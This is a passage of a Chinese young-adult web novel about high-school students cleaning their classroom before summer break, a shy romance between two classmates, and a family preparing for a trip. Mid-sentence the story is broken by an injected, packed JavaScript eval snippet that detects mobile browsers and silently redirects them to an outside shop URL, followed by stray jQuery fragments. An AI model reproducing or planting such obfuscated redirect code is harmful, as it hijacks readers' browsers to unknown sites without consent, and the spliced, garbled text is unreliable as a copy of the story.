从前原本骆眀昭还有兴致安排自己的周末应该如何过,随着日子一天天地在过,被一轮复习折磨着她也没了这个心情,每每回家后都掀开被子直接长睡不醒。
高三最后的决战结束,短暂放了几天占用考场假回到学校的一班学生们,一进班就瞧见蔡杨已经往告示板上贴了距离高考还有三百六十三天。
所有老师、周遭一切都在时刻提醒着紧迫性,心就这么绷在弦上。
宋晓在六月中旬休了产检,一班彻底由蔡杨接手,与此同时就是新来了一位代课的英语老师,是个年近退休的女教师,能力是有的,但经常是课讲着讲着,就开始讲起自己经历过的陈年旧事。
一班小范围地开始有些不满情绪,毕竟一轮复习打基础,虽然他们这些学生是各项都基础很牢固,但是谁都不想被浪费时间,可抱怨归抱怨,谁都知道学校很难在这个时候再给他们抽调新教师,就连这位都是刚从高三战场上光荣退伍连假都没休,直接来给他们代课的老师。
可就在刚习惯这位老师的教学风格没几天,期末考又如期而至,听说其他班都有安排时间为考试复习,一班没有停歇地在赶进度,所有人都只能用课余时间去复习期末考划分的范围。
他们没法不上心,这是高中最后一次冲刺一班的机会,升到高三就几乎不会在有任何班级变动情况发生,平行班也有许多人卯足了劲想要再尝试一次,一班学生必须至少保持成绩稳定,才不会有被分班的可能。
期末考试结束,所有人都短暂地松了口气,开始期盼着他们最后一个算是轻松的长假。
“你说今年咱们暑假有多久?”梁若璇朝后扭过身子,期中考试后还选了次座位,不过座位分布跟上次还大差不差,尤其她周围,还跟换座前一模一样。
骆眀昭戳着手里硬邦邦的冰激凌,刚从小卖铺里买来的:“唔,一个月吧?”
“啊,才一个月啊?”梁若璇靠在椅背上,肉眼可见地没了精神。
牧时桉抬眼看她一眼:“高三你还想怎样?”
“不是都说双减吗?我看也没减到哪里去啊。”梁若璇悠悠地念叨。
骆眀昭无奈地说:“小姐姐知足吧,前两年我们小区准高三生的暑假,就放了十五天。”
短暂课间结束,蔡杨踩着铃声尾巴进班,宣布放假通知,今年高二的暑假从明天七月十七号开始放假,八月十六号正式开学,果然骆眀昭说的没错,还真就正正好好是一个月。
她倒也不是神,主要是上上个课间去办公室搬暑假作业那会儿偷听到了。
暑假前的最后一天,没有晚自习,太阳还未西沉,各个班级里边闹腾地开始打扫教室收拾东西,有说有笑。
骆眀昭被安排洗黑板,梁若璇从教室外拎着扫把过来把头搭到她肩膀上,凑到耳边故作悬念地开口:“骆眀昭同学,你知道后天是什么日子吗?”
“什么日子啊?”骆眀昭擦黑板的手不停,她深思着,“是放假第二天。”
梁若璇无语:“你说的似乎是废话。”
“哎呦,行啦,不就是您梁大小姐出生十八周年纪念日吗?”骆眀昭嚼着泡泡糖扬唇笑着,伸手戳戳梁若璇的肚子。
梁某人傲娇地扬起下巴,说:“这还差不多。”
骆眀昭转过身,一脸看破地说:“刚从五楼跑下来吧?”
“你怎么知道?”
“嘿嘿,刚我彤给我发微信来着,说你亲自上楼提醒她了。”
梁若璇哑然。
可能是因为十八岁这个节点无论对谁来说都格外特殊,尤其梁若璇,她最盼着能早点长大脱离自家,所以这个日子将近,她更是无比兴奋。
擦黑板这是个轻松的活,就是对她来说稍微充满挑战了些,尤其像蔡杨这种个子比较高的老师总爱往最顶端写,她只能努力踮着脚去够那些边边角角的地方,偏偏现在学校都换成了白板,笔渍黑呼呼看得明显,她偷不得一点懒。
该死,这破黑板高得是不是有点过头了。
反正绝对是这黑板太高,而不是她个子矮,嗯一定是。
早知道刚刚梁若璇还在的时候叫她帮自己了,现在她只能狼狈地去找把椅子踩上去,正准备下讲台,身旁却多了个身影,林以征拿着她放在讲桌上另一块抹布帮她擦掉了最上边的污渍。
“还有吗?”林以征转过头,神色淡淡。
“……额,没了,”骆眀昭有些愣神,“谢谢你啊。”
她的话落,林以征就放下手里抹布,转身走下讲台,就留骆眀昭一个人凌乱。
这大学霸还挺热情友善?就是脸冷了点。
她瞥过去一眼,就拿着两块抹布准备往水房走。
擦黑板也是有讲究的,这种黑板多媒体合一的白板必须用拧干水的抹布擦,骆眀昭涮洗完抹布,就要擦黑板上的积灰处,黑板顶端都够不到更何况是那,不过骆眀昭也不打算让他再帮自己,这个不怎么熟悉的同学总感觉有点怪。
骆眀昭刚拿着抹布走出水房,就看见站在门口的牧时桉,似乎正等着她。
“你干嘛呢?门神啊?”她吓了一跳,来时候这还没人的。
他靠在墙边抱着胸,往她的方向望过来:“你黑板擦完了?”
“没啊,还得擦一把上面的积灰。”她说。
牧时桉跟在她身旁,忽地笑了笑:“够得着吗?我帮你。”
“……我真谢谢你啊。”
“不用,互帮互助罢了。”牧时桉装作没听懂她话里含义,已经接过她手里的抹布。
骆眀昭眼睛微眨了下,望着空空的手心怔愣半秒。
哎,她手里抹布啥时候被拿走的?
再回神来牧时桉已经走到讲台上,轻松地够到她所不太方便够到的位置,校服半袖下的手臂向着高处抬起,线条凌厉分明。
骆眀昭装作不经意地偷看,她靠在教室前门的墙上,唇角很难下压。
唔,有点帅呦。
“好了。”他说。
骆眀昭回过神来,赶紧上前接过抹布,还得去涮洗呢。
“谢啦,”骆眀昭抬眸笑着,“不过你不是去倒垃圾吗?这么快就回来了?”
牧时桉轻点了下头:“倒完了。”然后回来就看见讲台上的一幕。
骆眀昭正要往水房走,却见牧时桉人还悠闲跟她身侧。
“我去洗抹布,你干嘛去?”她问。
牧时桉摊开手,上面满是灰尘:“我洗手。”
骆眀昭不好意思地轻咳一声,往水房走的步伐似乎加快了些。
教学楼每层有个专门的小水房,是为学生洗抹布、拖把用,毕竟若是跟卫生间混在一起多少不方便,所以这里一进去,地面便是脚印和泥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125836|143342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泞。
也正因如此,大多数人不会选择来水房洗手,即便这备着洗手液。
水流哗哗,骆眀昭垂下头默默洗着抹布,牧时桉就站她旁边,很近,如果她不小心必定侧身贴住。
洗着洗着,她目光就不自觉偏开方向,视线里少年骨节分明的手在搓着泡沫,大概也是家里的影响,他也是七步洗手法,骆眀昭也是,从小骆齐他们就是这么教她的,要认真洗手。
揉搓、洗指缝、关节……
那感觉很怪,其实清清白白的什么都没有,但她却莫名瞳孔缩紧,嗓子似乎也有些干,她大概得去多喝点水。
直到身侧的人伸手关闭水龙头,骆眀昭才赶紧跟着关水,使劲把手里的抹布拧干,似乎她只要越使劲,那些繁杂的思绪就能被跟着拧出去。
“好了?”只有他们两人的水房里他的声音回荡。
骆眀昭长呼出口气,甩甩手:“好了。”
“刚谢了啊,要不我一个人擦黑板还挺费劲的。”在走廊里,骆眀昭又说。
牧时桉顿了片刻,悠悠开口:“刚刚不是有人帮你吗?”
刚刚……
骆眀昭扭过头看他:“你不至于吧?”
自从上次牧时桉说讨厌林以征后,她还观察过一阵,两人之间好像的确有股很巧妙的磁场存在。
“你现在很像小时候,林雨彤很不喜欢我当初的同桌,就拉着我不许跟他玩一样,”骆眀昭歪头回忆着,“说起来你俩有什么恩怨纠葛是我不知道的?你为什么那么不喜欢他啊?”
她一直也没问过,今天忽地非常好奇。
“就单纯不合眼缘而已。”牧时桉没看她,径直朝教室后门走,只是落在骆眀昭眼里,总有种他落荒而逃的感觉。
单纯不合眼缘?真的吗?我不信。
骆眀昭眯着眼。
-
暑假的第一天上午,骆眀昭家就鸡飞狗跳。
王乐萍皱着眉,焦虑地不行,绕着家里走了好几圈:“我这身份证哪去了?”
骆眀昭和骆齐几乎把家里翻了个底朝天,也没帮她找到这身份证。
“别着急,不是明天才走呢?不行咱们办临时的也能上高铁,”骆齐安抚着她,话落又转头看向骆眀昭,“我跟你妈去上海,你真的不去?”
上海过两天有个关于口腔方面的研讨会,王乐萍和另一个同事代表去开会,正好后面还接着个周末,王乐萍就想这在那玩几天,骆齐如今身为自由职业者时间宽泛,能随时陪着去。
骆眀昭把玄关搁置杂物的盒子放在腿上,翻找着:“不啦,明天小璇过十八岁生日,说好去陪她过生日的,而且这两天太热了,我真不想出门……”
正说着,王乐萍惊呼一声:“对,我想起来了,在我办公室抽屉里呢,看我这记性。”
骆眀昭、骆齐:……
“行吧,那你自己在家注意安全啊。”骆齐一件件将客厅凌乱的物品摆放原位。
骆眀昭悠哉地盘腿坐沙发上,正刷iPad,却听骆齐忽地犹犹豫豫说道:“说起来,你生日是不也快到了,十八岁要不好好办一次?”
“……”
客厅寂静,只有吵嚷的综艺声是从平板里发出来的。
想了很久,骆眀昭说。
“再说呗,大概不用,我也不太爱过生日。”